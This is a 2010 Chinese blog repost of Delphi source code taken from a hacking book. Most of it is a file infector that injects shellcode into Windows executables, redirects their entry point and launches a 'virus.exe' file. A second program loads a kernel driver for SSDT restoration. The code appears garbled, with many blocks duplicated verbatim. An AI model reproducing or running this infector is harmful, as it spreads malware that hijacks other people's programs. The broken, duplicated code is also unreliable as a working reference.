作者在 2010-02-03 22:08:59 发布以下内容
小弟买黑防的书,书上有这个就转过来了。共享出来一起学习吧!需要汇编的功底啊。。。
program DLL_Infection;
{$APPTYPE CONSOLE}
uses
SysUtils,
classes,
windows;
const
Zero:Byte=0;
CALL:Byte=$E8;
ADD:Byte=$05;
JmpEax:Word=$E0FF;
CallEax:Word=$D0FF;
var
DosHeader:IMAGE_DOS_HEADER;
NtHeader:IMAGE_NT_HEADERS;
SectionHeader:IMAGE_SECTION_HEADER;
CodeLength,NumOfSection,FileAlignMent,SectionAlignMent:integer;
oEP,CodeStart:DWORD;
srcFile:Integer;
Data:^DWORD;
StringLength:integer;
SysUtils,
classes,
windows;
const
Zero:Byte=0;
CALL:Byte=$E8;
ADD:Byte=$05;
JmpEax:Word=$E0FF;
CallEax:Word=$D0FF;
var
DosHeader:IMAGE_DOS_HEADER;
NtHeader:IMAGE_NT_HEADERS;
SectionHeader:IMAGE_SECTION_HEADER;
CodeLength,NumOfSection,FileAlignMent,SectionAlignMent:integer;
oEP,CodeStart:DWORD;
srcFile:Integer;
Data:^DWORD;
StringLength:integer;
Procedure Code;
label Search,Search2,CodeEnd;
begin
asm
{备份}
push ebp
push ebx
push esi
push edi
{根据PEB结构获得kernel32.dll基址}
mov eax,fs:$30
mov eax,[eax+$0c]
mov esi,[eax+$1c]
lodsd
mov eax,[eax+$08] //eax=Kernel32基址
{根据引出表获得CreateProcessA函数的地址}
mov ebp,eax
mov eax,[eax+$3C] //eax=eax._lfanew
add eax,ebp
mov eax,[eax+$78] //eax=eax.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
add eax,ebp
mov ebx,[eax+$18] //ebx=eax.NumberOfNames
dec ebx
mov ecx,[eax+$20] //ecx=eax.AddressOfNames
add ecx,ebp //ecx指向函数名数组
xor edx,edx
dec edx
search: //搜索需要的函数名
inc edx
cmp edx,ebx
jnle CodeEnd //已经搜索完所有函数名
mov esi,[ecx+edx*4]
add esi,ebp //esi指向当前搜索到的函数名
cmp dword ptr [esi], $61657243 //'Crea'
jne search
cmp dword ptr [esi+4],$72506574 //'tePr'
jne search
cmp dword ptr [esi+8],$7365636f //'oces'
jne search
cmp word ptr [esi+12],$4173 //'sA'
jne search
mov ebx,[eax+$24] //ebx=eax.AddressOfNameOrdinal
add ebx,ebp //ebx指向输出序号数组
mov edx,[ebx+2*edx]
shl edx,16
shr edx,16 //取末尾16位
mov ebx,[eax+$1c] //ebx=eax.AddressOfFunctions
add ebx,ebp //ebx指向函数地址数组
mov eax,[ebx+edx*4]
add eax,ebp
push eax //保存起来
{用同样的方法得到GetModuleHandleA的地址}
mov eax,[ebp+$3C]
add eax,ebp
mov eax,[eax+$78]
add eax,ebp
mov ebx,[eax+$18]
dec ebx
mov ecx,[eax+$20]
add ecx,ebp
xor edx,edx
dec edx
search2:
inc edx
cmp edx,ebx
jnle CodeEnd
mov esi,[ecx+edx*4]
add esi,ebp
cmp dword ptr [esi], $4D746547 //'GetM'
jne Search2
cmp dword ptr [esi+4],$6C75646F //'odul'
jne Search2
cmp dword ptr [esi+8],$6E614865 //'eHan'
jne Search2
cmp dword ptr [esi+12],$41656C64 //'dleA'
jne Search2
mov ebx,[eax+$24]
add ebx,ebp
mov edx,[ebx+2*edx]
shl edx,16
shr edx,16
mov ebx,[eax+$1c]
add ebx,ebp
mov eax,[ebx+edx*4]
add eax,ebp
pop esi //还原CreateProcessA地址
push eax //保存GetModuleHandle地址
{构建字符串}
mov ebp,esp
sub esp,$64 //分配100个字节作为局部变量
mov [ebp-$A],$75726976
mov [ebp-$6],$78652e73
mov word ptr [ebp-$2],$0065 //构造字符串'virus.exe'
lea ebx,[ebp-$64]
mov ecx,$44 //填充StartupInfo参数
mov edi,ebx
xor eax,eax
rep stosb //清零
mov [ebx+$2C],$1 //ebx.dwFlags=STARTF_USESHOWWINDOW
lea ecx,[ebp-$20]
lea eax,[ebp-$A] //eax指向文件名字符串
{调用CreateProcessA}
push ecx //TProcessInformation
push ebx //StartupInfo
push 0
push 0
push 0
push 1
push 0
push 0
push eax //文件名
push 0
call esi //调用
add esp,$64
pop eax //将GetModuleHandle地址还原到eax
CodeEnd:
{还原}
pop edi
pop esi
pop ebx
pop ebp
nop //7个nop作为代码结束标志
nop
nop
nop
nop
nop
nop
end;
end;
label Search,Search2,CodeEnd;
begin
asm
{备份}
push ebp
push ebx
push esi
push edi
{根据PEB结构获得kernel32.dll基址}
mov eax,fs:$30
mov eax,[eax+$0c]
mov esi,[eax+$1c]
lodsd
mov eax,[eax+$08] //eax=Kernel32基址
{根据引出表获得CreateProcessA函数的地址}
mov ebp,eax
mov eax,[eax+$3C] //eax=eax._lfanew
add eax,ebp
mov eax,[eax+$78] //eax=eax.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
add eax,ebp
mov ebx,[eax+$18] //ebx=eax.NumberOfNames
dec ebx
mov ecx,[eax+$20] //ecx=eax.AddressOfNames
add ecx,ebp //ecx指向函数名数组
xor edx,edx
dec edx
search: //搜索需要的函数名
inc edx
cmp edx,ebx
jnle CodeEnd //已经搜索完所有函数名
mov esi,[ecx+edx*4]
add esi,ebp //esi指向当前搜索到的函数名
cmp dword ptr [esi], $61657243 //'Crea'
jne search
cmp dword ptr [esi+4],$72506574 //'tePr'
jne search
cmp dword ptr [esi+8],$7365636f //'oces'
jne search
cmp word ptr [esi+12],$4173 //'sA'
jne search
mov ebx,[eax+$24] //ebx=eax.AddressOfNameOrdinal
add ebx,ebp //ebx指向输出序号数组
mov edx,[ebx+2*edx]
shl edx,16
shr edx,16 //取末尾16位
mov ebx,[eax+$1c] //ebx=eax.AddressOfFunctions
add ebx,ebp //ebx指向函数地址数组
mov eax,[ebx+edx*4]
add eax,ebp
push eax //保存起来
{用同样的方法得到GetModuleHandleA的地址}
mov eax,[ebp+$3C]
add eax,ebp
mov eax,[eax+$78]
add eax,ebp
mov ebx,[eax+$18]
dec ebx
mov ecx,[eax+$20]
add ecx,ebp
xor edx,edx
dec edx
search2:
inc edx
cmp edx,ebx
jnle CodeEnd
mov esi,[ecx+edx*4]
add esi,ebp
cmp dword ptr [esi], $4D746547 //'GetM'
jne Search2
cmp dword ptr [esi+4],$6C75646F //'odul'
jne Search2
cmp dword ptr [esi+8],$6E614865 //'eHan'
jne Search2
cmp dword ptr [esi+12],$41656C64 //'dleA'
jne Search2
mov ebx,[eax+$24]
add ebx,ebp
mov edx,[ebx+2*edx]
shl edx,16
shr edx,16
mov ebx,[eax+$1c]
add ebx,ebp
mov eax,[ebx+edx*4]
add eax,ebp
pop esi //还原CreateProcessA地址
push eax //保存GetModuleHandle地址
{构建字符串}
mov ebp,esp
sub esp,$64 //分配100个字节作为局部变量
mov [ebp-$A],$75726976
mov [ebp-$6],$78652e73
mov word ptr [ebp-$2],$0065 //构造字符串'virus.exe'
lea ebx,[ebp-$64]
mov ecx,$44 //填充StartupInfo参数
mov edi,ebx
xor eax,eax
rep stosb //清零
mov [ebx+$2C],$1 //ebx.dwFlags=STARTF_USESHOWWINDOW
lea ecx,[ebp-$20]
lea eax,[ebp-$A] //eax指向文件名字符串
{调用CreateProcessA}
push ecx //TProcessInformation
push ebx //StartupInfo
push 0
push 0
push 0
push 1
push 0
push 0
push eax //文件名
push 0
call esi //调用
add esp,$64
pop eax //将GetModuleHandle地址还原到eax
CodeEnd:
{还原}
pop edi
pop esi
pop ebx
pop ebp
nop //7个nop作为代码结束标志
nop
nop
nop
nop
nop
nop
end;
end;
Function Align(size,ALIGN_BASE:integer):integer;
begin
result:=size;
if Align_Base=0 then exit;
if size mod ALIGN_BASE <>0 Then
result:=((size div ALIGN_BASE)+1)*ALIGN_BASE;
end;
begin
result:=size;
if Align_Base=0 then exit;
if size mod ALIGN_BASE <>0 Then
result:=((size div ALIGN_BASE)+1)*ALIGN_BASE;
end;
Procedure Infect(fn:string);
var
i:integer;
FileName:string;
begin
srcFile:=FileOpen(fn,fmOpenReadWrite or fmShareDenyNone);
if srcFile=0 then exit;
FileSeek(srcFile,0,soFromBeginning);//定位到文件开头
FileRead(srcFile,DosHeader,SizeOf(DosHeader));
if DosHeader.e_magic<>IMAGE_DOS_SIGNATURE then
begin
FileClose(srcFile);
exit; //目标不是个有效的PE文件
end;
fileseek(srcFile, DosHeader._lfanew, sofrombeginning);
fileread(srcFile,NtHeader,sizeof(NtHeader));
if NtHeader.Signature<>IMAGE_NT_SIGNATURE then
begin
FileClose(srcFile);
exit;
end;
NumOfSection:=NtHeader.FileHeader.NumberOfSections;//保存段的个数
FileAlignMent:=NtHeader.OptionalHeader.FileAlignment;
SectionAlignMent:=NtHeader.OptionalHeader.SectionAlignment;
oEP:=NtHeader.OptionalHeader.AddressOfEntryPoint;//保存原入口点
FileSeek(srcFile,DosHeader._lfanew+sizeof(NtHeader)+(NumOfSection-1)*SizeOf(IMAGE_SECTION_HEADER),soFromBeginning);
//定位到最后一个段头部
FileRead(srcFile,SectionHeader,sizeof(SectionHeader));
if GetFileSize(srcFile,nil)>SectionHeader.PointerToRawData+SectionHeader.SizeOfRawData then
begin
FileClose(srcFile);
exit; //含有附加数据,不感染
end;
{写入感染代码}
FileSeek(srcFile,0,soFromEnd); //定位到文件尾
Data:=@Code;
CodeLength:=0;
while Data^<>$90909090 do
begin
FileWrite(srcFile,Data^,4);
CodeLength:=CodeLength+4; //计算写入的代码长度
inc(Data);
end;
{写入跳回原入口点代码}
FileWrite(srcFile,CALL,1);
FileName:=ExtractFileName(fn);
StringLength:=length(FileName)+1;
FileWrite(srcFile,StringLength,4); //写入Call xxxxxxxx(字符串末尾) 以便字符串地址入栈
for i:=1 to Length(FileName) do
FileWrite(srcFile,FileName[i],1); //写入模块名
FileWrite(srcFile,Zero,1);//字符串结尾
FileWrite(srcFile,CallEax,2); //调用GetModuleHandle函数取得模块基址
FileWrite(srcFile,ADD,1);
FileWrite(srcFile,oEP,4);//写入add eax,oEP
FileWrite(srcFile,JmpEax,2);//写入Jmp Eax
CodeLength:=CodeLength+14+StringLength;
for i:=1 to Align(CodeLength,FileAlignMent)-CodeLength do
FileWrite(srcFile,Zero,1); //填充0以对齐FileAlignMent
CodeStart:=SectionHeader.PointerToRawData+SectionHeader.SizeOfRawData;//原文件末尾,即新代码的起始
NtHeader.OptionalHeader.AddressOfEntryPoint:=CodeStart-SectionHeader.PointerToRawData+SectionHeader.VirtualAddress;
//将文件偏移换算成内存中的地址,修改文件入口点
SectionHeader.Misc.VirtualSize:=SectionHeader.SizeOfRawData+CodeLength; //修改该段内存中的大小
SectionHeader.SizeOfRawData:=SectionHeader.SizeOfRawData+Align(CodeLength,FileAlignMent);//修改段的大小
SectionHeader.Characteristics:=$E0000060; //修改段的属性
NtHeader.OptionalHeader.SizeOfImage:=Align(SectionHeader.VirtualAddress+SectionHeader.Misc.VirtualSize,SectionAlignMent);
//修正SizeOfImage
{将修改后的各部分头部写入源文件}
FileSeek(srcFile,DosHeader._lfanew,soFromBeginning);
FileWrite(srcFile,NtHeader,SizeOf(NtHeader));
FileSeek(srcFile,DosHeader._lfanew+sizeof(NtHeader)+(NumOfSection-1)*SizeOf(IMAGE_SECTION_HEADER),soFromBeginning);
FileWrite(srcFile,SectionHeader,SizeOf(SectionHeader));
FileClose(srcFile);
end;
var
i:integer;
FileName:string;
begin
srcFile:=FileOpen(fn,fmOpenReadWrite or fmShareDenyNone);
if srcFile=0 then exit;
FileSeek(srcFile,0,soFromBeginning);//定位到文件开头
FileRead(srcFile,DosHeader,SizeOf(DosHeader));
if DosHeader.e_magic<>IMAGE_DOS_SIGNATURE then
begin
FileClose(srcFile);
exit; //目标不是个有效的PE文件
end;
fileseek(srcFile, DosHeader._lfanew, sofrombeginning);
fileread(srcFile,NtHeader,sizeof(NtHeader));
if NtHeader.Signature<>IMAGE_NT_SIGNATURE then
begin
FileClose(srcFile);
exit;
end;
NumOfSection:=NtHeader.FileHeader.NumberOfSections;//保存段的个数
FileAlignMent:=NtHeader.OptionalHeader.FileAlignment;
SectionAlignMent:=NtHeader.OptionalHeader.SectionAlignment;
oEP:=NtHeader.OptionalHeader.AddressOfEntryPoint;//保存原入口点
FileSeek(srcFile,DosHeader._lfanew+sizeof(NtHeader)+(NumOfSection-1)*SizeOf(IMAGE_SECTION_HEADER),soFromBeginning);
//定位到最后一个段头部
FileRead(srcFile,SectionHeader,sizeof(SectionHeader));
if GetFileSize(srcFile,nil)>SectionHeader.PointerToRawData+SectionHeader.SizeOfRawData then
begin
FileClose(srcFile);
exit; //含有附加数据,不感染
end;
{写入感染代码}
FileSeek(srcFile,0,soFromEnd); //定位到文件尾
Data:=@Code;
CodeLength:=0;
while Data^<>$90909090 do
begin
FileWrite(srcFile,Data^,4);
CodeLength:=CodeLength+4; //计算写入的代码长度
inc(Data);
end;
{写入跳回原入口点代码}
FileWrite(srcFile,CALL,1);
FileName:=ExtractFileName(fn);
StringLength:=length(FileName)+1;
FileWrite(srcFile,StringLength,4); //写入Call xxxxxxxx(字符串末尾) 以便字符串地址入栈
for i:=1 to Length(FileName) do
FileWrite(srcFile,FileName[i],1); //写入模块名
FileWrite(srcFile,Zero,1);//字符串结尾
FileWrite(srcFile,CallEax,2); //调用GetModuleHandle函数取得模块基址
FileWrite(srcFile,ADD,1);
FileWrite(srcFile,oEP,4);//写入add eax,oEP
FileWrite(srcFile,JmpEax,2);//写入Jmp Eax
CodeLength:=CodeLength+14+StringLength;
for i:=1 to Align(CodeLength,FileAlignMent)-CodeLength do
FileWrite(srcFile,Zero,1); //填充0以对齐FileAlignMent
CodeStart:=SectionHeader.PointerToRawData+SectionHeader.SizeOfRawData;//原文件末尾,即新代码的起始
NtHeader.OptionalHeader.AddressOfEntryPoint:=CodeStart-SectionHeader.PointerToRawData+SectionHeader.VirtualAddress;
//将文件偏移换算成内存中的地址,修改文件入口点
SectionHeader.Misc.VirtualSize:=SectionHeader.SizeOfRawData+CodeLength; //修改该段内存中的大小
SectionHeader.SizeOfRawData:=SectionHeader.SizeOfRawData+Align(CodeLength,FileAlignMent);//修改段的大小
SectionHeader.Characteristics:=$E0000060; //修改段的属性
NtHeader.OptionalHeader.SizeOfImage:=Align(SectionHeader.VirtualAddress+SectionHeader.Misc.VirtualSize,SectionAlignMent);
//修正SizeOfImage
{将修改后的各部分头部写入源文件}
FileSeek(srcFile,DosHeader._lfanew,soFromBeginning);
FileWrite(srcFile,NtHeader,SizeOf(NtHeader));
FileSeek(srcFile,DosHeader._lfanew+sizeof(NtHeader)+(NumOfSection-1)*SizeOf(IMAGE_SECTION_HEADER),soFromBeginning);
FileWrite(srcFile,SectionHeader,SizeOf(SectionHeader));
FileClose(srcFile);
end;
begin
if paramstr(1)<>'' then infect(paramstr(1));
end.
if paramstr(1)<>'' then infect(paramstr(1));
end.
program prjRESSDT;
{$APPTYPE CONSOLE}
uses
Windows, SysUtils, WinSvc;
Windows, SysUtils, WinSvc;
const
IOCTL_SETPROC = $0022E14B;
IOCTL_SETPROC = $0022E14B;
function RVATOVA(base, offset: DWORD): Pointer;
begin
result := Pointer(base + offset);
end;
begin
result := Pointer(base + offset);
end;
function ibaseDD(ibase: dword): DWORD;
begin
result := PDWORD(@ibase)^;
end;
begin
result := PDWORD(@ibase)^;
end;
const
STATUS_INFO_LENGTH_MISMATCH = $C0000004;
STATUS_INFO_LENGTH_MISMATCH = $C0000004;
function NT_SUCCESS(Status: Integer): Boolean;
begin
Result := Status >= 0;
end;
begin
Result := Status >= 0;
end;
type
IMAGE_FIXUP_ENTRY = record
offset: Word;
atype: Word;
end;
PIMAGE_FIXUP_ENTRY = ^IMAGE_FIXUP_ENTRY;
IMAGE_FIXUP_ENTRY = record
offset: Word;
atype: Word;
end;
PIMAGE_FIXUP_ENTRY = ^IMAGE_FIXUP_ENTRY;
var
strDriver: PChar; //array [0..MAX_PATH - 1] of Char;
hDriver: HWND;
strDriver: PChar; //array [0..MAX_PATH - 1] of Char;
hDriver: HWND;
function GetDriverPath(var lpFileName: LPTSTR; dwSize: DWORD): Boolean;
var
szPath: array[0..MAX_PATH - 1] of Char;
begin
GetModuleFileName(0, szPath, MAX_PATH);
//lstrcpy(lpFileName,szPath);
lpFileName := PChar(ExtractFileDir(szPath) + 'ressdt.sys');
Result := FileExists(lpFileName)
end;
var
szPath: array[0..MAX_PATH - 1] of Char;
begin
GetModuleFileName(0, szPath, MAX_PATH);
//lstrcpy(lpFileName,szPath);
lpFileName := PChar(ExtractFileDir(szPath) + 'ressdt.sys');
Result := FileExists(lpFileName)
end;
function LoadDriver(lpFileName: LPCTSTR): HWND;
var
hDriver: HWND;
hSCManager, hService: SC_HANDLE;
arg: PChar;
begin
hDriver := INVALID_HANDLE_VALUE;
hSCManager := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
var
hDriver: HWND;
hSCManager, hService: SC_HANDLE;
arg: PChar;
begin
hDriver := INVALID_HANDLE_VALUE;
hSCManager := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
if Succeeded(hSCManager) then
begin
hService := CreateService(
hSCManager,
'RESSDT',
'RESSDT',
SERVICE_START,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
lpFileName,
nil,
nil,
nil,
nil,
nil
);
begin
hService := CreateService(
hSCManager,
'RESSDT',
'RESSDT',
SERVICE_START,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
lpFileName,
nil,
nil,
nil,
nil,
nil
);
if ERROR_SERVICE_EXISTS = GetLastError then
hService := OpenService(hSCManager, 'RESSDT', SERVICE_START);
arg := nil;
StartService(hService, 0, arg);
hDriver := CreateFile(
'\\\\.\\RESSDTDOS',
GENERIC_READ + GENERIC_WRITE,
0,
nil,
OPEN_EXISTING,
0,
0);
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
end;
Result := hDriver;
end;
hService := OpenService(hSCManager, 'RESSDT', SERVICE_START);
arg := nil;
StartService(hService, 0, arg);
hDriver := CreateFile(
'\\\\.\\RESSDTDOS',
GENERIC_READ + GENERIC_WRITE,
0,
nil,
OPEN_EXISTING,
0,
0);
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
end;
Result := hDriver;
end;
procedure UnloadDriver(hDriver: HWND);
var
hSCManager, hService: SC_HANDLE;
ss: SERVICE_STATUS;
begin
CloseHandle(hDriver);
hSCManager := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
if Succeeded(hSCManager) then
begin
hService := OpenService(hSCManager, 'RESSDT', $00010000 + SERVICE_STOP);
if Succeeded(hService) then
begin
ControlService(hService, SERVICE_CONTROL_STOP, ss);
DeleteService(hService);
CloseServiceHandle(hService);
end;
CloseServiceHandle(hSCManager);
end;
end;
var
hSCManager, hService: SC_HANDLE;
ss: SERVICE_STATUS;
begin
CloseHandle(hDriver);
hSCManager := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
if Succeeded(hSCManager) then
begin
hService := OpenService(hSCManager, 'RESSDT', $00010000 + SERVICE_STOP);
if Succeeded(hService) then
begin
ControlService(hService, SERVICE_CONTROL_STOP, ss);
DeleteService(hService);
CloseServiceHandle(hService);
end;
CloseServiceHandle(hSCManager);
end;
end;
begin
GetDriverPath(strDriver, MAX_PATH);
WriteLn(strDriver);
hDriver := LoadDriver(strDriver);
if INVALID_HANDLE_VALUE = hDriver then
begin
WriteLn('Load driver failed!');
end
else
begin
// ReSSDT(hDriver);
end;
UnloadDriver(hDriver);
Readln;
end.
if INVALID_HANDLE_VALUE = hDriver then
begin
WriteLn('Load driver failed!');
end
else
begin
// ReSSDT(hDriver);
end;
UnloadDriver(hDriver);
Readln;
end.